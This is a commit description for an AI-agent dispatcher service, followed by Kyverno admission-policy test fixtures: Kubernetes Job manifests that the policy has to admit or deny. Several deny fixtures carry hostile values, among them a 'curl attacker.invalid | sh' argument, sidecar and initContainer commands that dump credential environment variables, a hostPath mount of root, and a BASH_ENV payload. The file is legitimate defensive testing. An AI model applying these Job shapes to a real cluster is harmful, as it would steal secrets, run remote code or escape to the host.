A service that reads this repository's Gitea issues, decides what to do about each thread as the Program Manager persona, and runs one worker agent per assignment that authors a change, runs the merge gate and opens a pull request. It reacts to issue creation and to comments; the assignment and all correspondence travel through the issue thread and the PR. It authenticates with an Anthropic subscription token. It never pushes to main and never merges. Three choices carry the design, with alternatives recorded in docs/plans/: - it POLLS rather than receiving webhooks (Gitea's webhook SSRF guard, lost deliveries, and no inbound reach needed at all); - it keeps NO state: the trigger is "the newest thing in this thread was not written by me", so the issue thread is the state — no PVC, no backup obligation; - the model holds NO tools: its reply is one JSON object this code validates, so nothing in the path executes text. The boundary is platform/kyverno/admission/pm-agent-job-shape.yaml (Enforce, failurePolicy: Fail), not the RBAC: Kubernetes places no `use` check on serviceAccountName, so "may create Jobs" is "may run arbitrary code as the namespace's most privileged identity". Six rules admit only the committed shape, and the worker identity is bound to nothing with no token mounted, so there is nothing to escalate to. 28/28 offline Kyverno assertions. Nothing has run: the image has never been built or pushed, and both the image digest and the two credentials are deliberate placeholders. See the handoff entry's "What I did NOT verify". Refs CLAUDE.md §1/§3/§6, R-SEC-02, R-GITOPS-02. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
495 lines
18 KiB
YAML
495 lines
18 KiB
YAML
# =============================================================================
|
|
# Fixtures for platform/kyverno/admission/pm-agent-job-shape.yaml.
|
|
#
|
|
# Every DENY case below is a real escalation path, not a style violation. The one that
|
|
# matters most is `evil-command`: correct namespace, correct creator, arbitrary command.
|
|
# That is the attack the whole model exists to stop, and RBAC cannot — Kubernetes places no
|
|
# `use` check on serviceAccountName, so "can create Jobs in this namespace" IS "can run
|
|
# arbitrary code here" without this policy.
|
|
#
|
|
# `real-template` is infra/agent/worker-job-template.yaml as the dispatcher renders it, and
|
|
# it exists so that a template which drifts OUT of admission fails `make -C ci l0` rather
|
|
# than failing at 3am against the live API server. IT IS A HAND-MAINTAINED COPY: `kyverno
|
|
# test` resolves resource paths inside the directory ci/l0.sh copies platform/kyverno/ into,
|
|
# so it cannot reference the template in infra/ directly. Keep the admission-relevant fields
|
|
# — image, serviceAccountName, automountServiceAccountToken, restartPolicy, command, args,
|
|
# env NAMES, volumes, securityContext — in step with that file. (`PM_SELFTEST=1 pm-dispatch`
|
|
# checks the template against the dispatcher's own copy of the env allowlist, so the two
|
|
# allowlists are pinned together even though this fixture is manual.)
|
|
# =============================================================================
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: real-template
|
|
namespace: pm-agent
|
|
spec:
|
|
backoffLimit: 0
|
|
activeDeadlineSeconds: 5400
|
|
ttlSecondsAfterFinished: 172800
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
runAsUser: 65532
|
|
runAsGroup: 65532
|
|
fsGroup: 65532
|
|
seccompProfile:
|
|
type: RuntimeDefault
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
privileged: false
|
|
capabilities:
|
|
drop: [ALL]
|
|
env:
|
|
- { name: PM_TASK_MODE, value: implement }
|
|
- { name: PM_ISSUE_NUMBER, value: "42" }
|
|
- { name: PM_ISSUE_TITLE, value: "Pi-hole adlists are not declared in git" }
|
|
- { name: PM_BRANCH, value: fix/pihole-declare-adlists }
|
|
- { name: PM_BASE_BRANCH, value: main }
|
|
- { name: PM_BRIEF, value: "Declare the adlists. They are DB rows today." }
|
|
- { name: PM_GITEA_URL, value: http://gitea.gitea.svc.cluster.local:3000 }
|
|
- { name: PM_GITEA_OWNER, value: Home-Network }
|
|
- { name: PM_GITEA_REPO, value: home-network-k3s-impl }
|
|
- { name: PM_GITEA_USER, value: pm-agent }
|
|
- { name: PM_MODEL, value: claude-opus-5 }
|
|
- { name: PM_MAX_TURNS, value: "80" }
|
|
- { name: PM_MAX_BUDGET_USD, value: "10" }
|
|
- { name: PM_PUSH_ON_RED_GATE, value: "false" }
|
|
# BY SECRET NAME ONLY (R-IDP-04) — and as env, not as a volume, because
|
|
# `workspace` and `tmp` are the only two volume names admission allows.
|
|
- name: GITEA_TOKEN
|
|
valueFrom:
|
|
secretKeyRef: { name: pm-agent-credentials, key: gitea-token }
|
|
- name: CLAUDE_CODE_OAUTH_TOKEN
|
|
valueFrom:
|
|
secretKeyRef: { name: pm-agent-credentials, key: claude-code-oauth-token }
|
|
volumeMounts:
|
|
- { name: workspace, mountPath: /workspace }
|
|
- { name: tmp, mountPath: /tmp }
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: { sizeLimit: 4Gi }
|
|
- name: tmp
|
|
emptyDir: { sizeLimit: 1Gi }
|
|
---
|
|
# The MINIMAL admissible shape: everything the policy requires and nothing else. Kept
|
|
# alongside `real-template` so a failure tells you whether the policy got stricter or the
|
|
# template drifted.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: good-run
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
volumeMounts:
|
|
- { name: workspace, mountPath: /workspace }
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# ===================== THE escalation: correct everything, arbitrary command ============
|
|
# This is the case the policy exists for. If it ever passes, the boundary is gone.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-command
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/bin/sh", "-c", "git push origin HEAD:main"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# A different image entirely — the pinned command means nothing if the thing at that path is
|
|
# somebody else's.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-image
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: docker.io/library/alpine@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A TAG, not a digest. The right repository path, so a name-only check would admit it — and
|
|
# whoever can move the tag then chooses what runs.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: tag-not-digest
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner:latest
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# Running as the DISPATCHER's own identity, which can create Jobs — i.e. a worker that can
|
|
# fork itself without limit, and bypass the per-cycle and concurrency caps entirely.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: worker-as-dispatcher-sa
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A projected ServiceAccount token, which is the credential the worker is specifically not
|
|
# supposed to hold. Everything else is compliant.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: token-mounted
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: true
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A writable root filesystem. Not cosmetic: the entrypoints and the baked Job template live
|
|
# on that filesystem, root-owned and non-writable — which only holds while it is read-only.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: writable-rootfs
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: false
|
|
---
|
|
# Host namespaces: the pod would see every process and every socket on the node.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: host-namespaces
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
hostNetwork: true
|
|
hostPID: true
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# restartPolicy OnFailure: the Job controller would re-run an assignment whose side effects
|
|
# (a pushed branch, a pull request, an issue comment) are not idempotent.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: restart-onfailure
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: OnFailure
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# ARGS on the pinned command — the injection point a pinned `command` moves the problem to.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: injected-args
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
args: ["--then", "curl attacker.invalid | sh"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A SECOND container, sharing the pod's network namespace and both credential env vars,
|
|
# while containers[0] is perfectly compliant. A Kyverno array pattern is satisfied by one
|
|
# matching element, which is exactly why the container COUNT is asserted separately.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: second-container
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
- name: sidecar
|
|
image: docker.io/library/alpine:latest
|
|
command: ["/bin/sh", "-c", "env > /workspace/stolen; sleep 3600"]
|
|
---
|
|
# AN EXTRA VOLUME — how a constrained pod reaches a host path. containers[0] is compliant.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: extra-volume
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
- name: host
|
|
hostPath: { path: / }
|
|
---
|
|
# AN ALLOWED NAME WITH A HOSTPATH SOURCE — the case a name-only volume check admits. This is
|
|
# why rule 3 asserts `emptyDir` as well as the name.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: hostpath-named-workspace
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
volumes:
|
|
- name: workspace
|
|
hostPath: { path: /var/lib/kubelet }
|
|
---
|
|
# THE SAME ESCALATION VIA `initContainers`, which every rule that reads `containers` misses.
|
|
# Measured on the sibling policy before its equivalent rule existed: a Job exactly like this
|
|
# was ADMITTED (pass 3, fail 0).
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-initcontainer
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
initContainers:
|
|
- name: setup
|
|
image: docker.io/library/alpine:latest
|
|
command: ["/bin/sh", "-c", "cat /proc/self/environ > /workspace/stolen"]
|
|
securityContext:
|
|
privileged: true
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# ...and via the third container list nobody reads.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-ephemeral-container
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
ephemeralContainers:
|
|
- name: debug
|
|
image: docker.io/library/alpine:latest
|
|
command: ["/bin/sh"]
|
|
---
|
|
# ...and via `env`, the same mistake a third time. BASH_ENV is sourced by bash before a
|
|
# non-interactive script, so it alone is arbitrary code execution under the pinned command;
|
|
# ANTHROPIC_API_KEY silently outranks the subscription token and redirects every model call.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: injected-env
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
env:
|
|
- { name: PM_TASK_MODE, value: implement }
|
|
- { name: BASH_ENV, value: /workspace/payload.sh }
|
|
- { name: ANTHROPIC_API_KEY, value: sk-not-the-subscription-token }
|
|
---
|
|
# `envFrom` over a whole Secret: the KEYS never appear in the Job, so the env-name allowlist
|
|
# would be unenforceable by inspection.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: envfrom-whole-secret
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
envFrom:
|
|
- secretRef: { name: pm-agent-credentials }
|